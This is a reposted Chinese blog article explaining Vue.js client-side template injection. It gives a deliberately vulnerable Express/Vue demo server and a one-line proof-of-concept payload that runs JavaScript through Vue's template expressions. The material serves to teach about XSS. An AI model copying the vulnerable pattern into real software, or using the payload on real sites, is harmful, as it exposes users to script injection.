我是靠谱客的博主 风趣草丛,最近开发中收集的这篇文章主要介绍Vue.js 客户端模板注入漏洞,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

漏洞详情

由于程序员代码编写不当,将导致用户输入的数据,可以改变客户端模版的执行逻辑,从而造成XSS漏洞。

漏洞影响

漏洞分析

漏洞编写模板如下:

const express = require('express');
const helmet = require('helmet');
const escapeHTML = require('escape-html');
const app = express();
app.use(helmet());
app.get('/', (req, res) => {
  res.set('Content-Type', 'text/html');
  const name = req.query.name
  res.status(200).send(`<!DOCTYPE html>
<html>
<body>
  <div id="app">
    <h1>Hello ?name=${escapeHTML(name)}</h1>
  </div>
  <footer>
  <a href="https://github.com/azu/vue-client-side-template-injection-example">Source Code</a>
  </footer>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.5.13/dist/vue.js"></script>
  <script>
      new Vue({
        el: '#app'
      });
  </script>
</body>
</html>`);
});
module.exports = app;

漏洞利用

POC:

hxxp://host/?name={{this.constructor.constructor('alert(document.domain)')()}}

image.png

参考:

https://github.com/azu/vue-client-side-template-injection-example

 

 

最后

以上就是风趣草丛为你收集整理的Vue.js 客户端模板注入漏洞的全部内容,希望文章能够帮你解决Vue.js 客户端模板注入漏洞所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(46)

评论列表共有 0 条评论

立即
投稿
返回
顶部